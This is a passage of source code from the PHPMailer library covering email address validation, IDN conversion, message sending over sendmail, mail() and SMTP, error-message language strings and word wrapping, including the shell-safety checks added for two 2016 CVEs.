            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
